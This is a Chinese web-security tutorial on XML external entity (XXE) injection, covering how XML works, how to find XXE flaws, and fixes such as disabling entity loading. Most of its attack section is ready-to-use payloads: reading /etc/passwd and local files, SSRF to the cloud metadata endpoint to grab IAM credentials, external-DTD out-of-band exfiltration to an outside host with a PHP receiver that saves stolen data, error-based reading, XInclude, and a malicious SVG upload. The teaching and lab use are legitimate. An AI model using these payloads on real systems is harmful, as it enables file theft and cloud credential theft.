Web攻防-XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展

知识点:

1、WEB攻防-XML&XXE-注入原理&分类&修复

2、WEB攻防-XML&XXE-文件读取&SSRF&实体引用

3、WEB攻防-XML&XXE-无回显&升级拓展&挖掘思路


一、演示案例-WEB攻防-XML&XXE-注入原理&分类&安全影响

详细点

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XMLHTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞:XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最主要的影响)、命令执行、内网扫描、攻击内网等危害。

XXE黑盒发现

bash 复制代码
两类:
数据包的测试
功能点的测试

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试

2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe

3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxe即可)

参考地址:https://blog.csdn.net/weixin_57567655/article/details/124588490

XXE白盒发现

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案

bash 复制代码
方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
 
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

二、演示案例-WEB攻防-XML&XXE-有回显利用-文件读取&SSRF&外部实体

1、文件读取

bash 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>


2、SSRF&配合元数据

bash 复制代码
条件:存在XXE注入的云服务器应用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>


3、文件读取-外部引用实体dtd

bash 复制代码
file.dtd
<!ENTITY send SYSTEM "file:///c:/c.txt">


bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://xiaodi8.com/file.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user>

三、演示案例-WEB攻防-XML&XXE-无回显利用&文件拓展解析等

无回显利用

1、DNSLOG-带外测试

bash 复制代码
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://xiaodi8.dnslog.cn">
%file;
]>
<user><username>xiaodi</username><password>xiaodi</password></user>


2、文件读取-外部引用实体dtd配合带外

bash 复制代码
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/c.txt">
<!ENTITY % remote SYSTEM "http://www.xiaodi8.com/test.dtd">
%remote;
%all;
]>
<user><username>&send;</username><password>xiaodi</password></user>
 
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.xiaodi8.com/get.php?file=%file;'>">
 
get.php:
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>
 
执行逻辑顺序:test.dtd->all->send->get.php?file=%file->file:///c:/c.txt
http://www.xiaodi8.com/get.php?file=读取的内网数据


3、文件读取-外部引用实体dtd配合错误解析

bash 复制代码
test.dtd内容:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
 //这是一个报错的payload,利用目标服务器报错解析来读取文件内容。

BURP靶场

bash 复制代码
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ab2006f03dce8a4803dfde101f3007d.exploit-server.net/exploit"> %xxe;]>


文件拓展解析

1、xinclude利用

XInclude 是一种让你能把多个独立的 XML 文件像拼积木一样"动态组合"成一个大 XML 文档的标准方法。它通过在主文件里放置特殊的"包含指令"(<xi:include>),告诉 XML 处理器在需要的时候去自动加载并插入指定文件的内容。这样做的主要好处是让大型 XML 文档更容易编写、维护和复用。

一些应用程序接收客户端提交的数据,在服务器端将其嵌入到XML文档中,然后解析该文档,所以利用xinclude嵌套进去执行。

BURP靶场

bash 复制代码
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>


2、文件上传-SVG图像解析(docx等)

一些应用程序接收解析文件,可以使用基于XML的格式的例子有DOCX这样的办公文档格式和SVG这样的图像格式进行测试。

SVG图片

bash 复制代码
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>





SRC文章:https://mp.weixin.qq.com/s/5iPoqsWpYfQmr0ExcJYRwg

DOCX文档

参考文章:https://blog.csdn.net/weixin_57567655/article/details/124588490

3、功能点挖掘总结

bash 复制代码
基于XML的Web服务: SOAP、REST和RPC API这些接收和处理XML格式
导入/导出功能: 任何以 XML 格式传输数据的进出口
RSS/Atom 订阅处理器: 订阅功能也可能隐藏着 XXE 漏洞。
文档查看器/转换器: 处理DOCX、XLSX等XML 格式文档的功能
文件上传处理 XML: 比如SVG图像处理器,上传图片也可能中招!
相关推荐
资讯第一线5 小时前
MSXML 6.0 SP1 x86 x64 (XML解析器) 下载
xml
秋千码途6 小时前
小架构step系列08:logback.xml的配置
xml·java·logback
sleepcattt11 小时前
Spring中Bean的实例化(xml)
xml·java·spring
旷世奇才李先生19 小时前
XML DOM 安装使用教程
xml·前端·chrome
椰椰椰耶2 天前
【MyBatis】XML实现,配置方法和增、删、改、查
xml·oracle·mybatis
旷世奇才李先生2 天前
XML Schema 安装使用教程
xml
ddfa12343 天前
XML 笔记
xml·服务器
一勺菠萝丶4 天前
Spring Boot + MyBatis/MyBatis Plus:XML中循环处理List参数的终极指南
xml·spring boot·mybatis
李少兄15 天前
解决OSS存储桶未创建导致的XML错误
xml·开发语言·python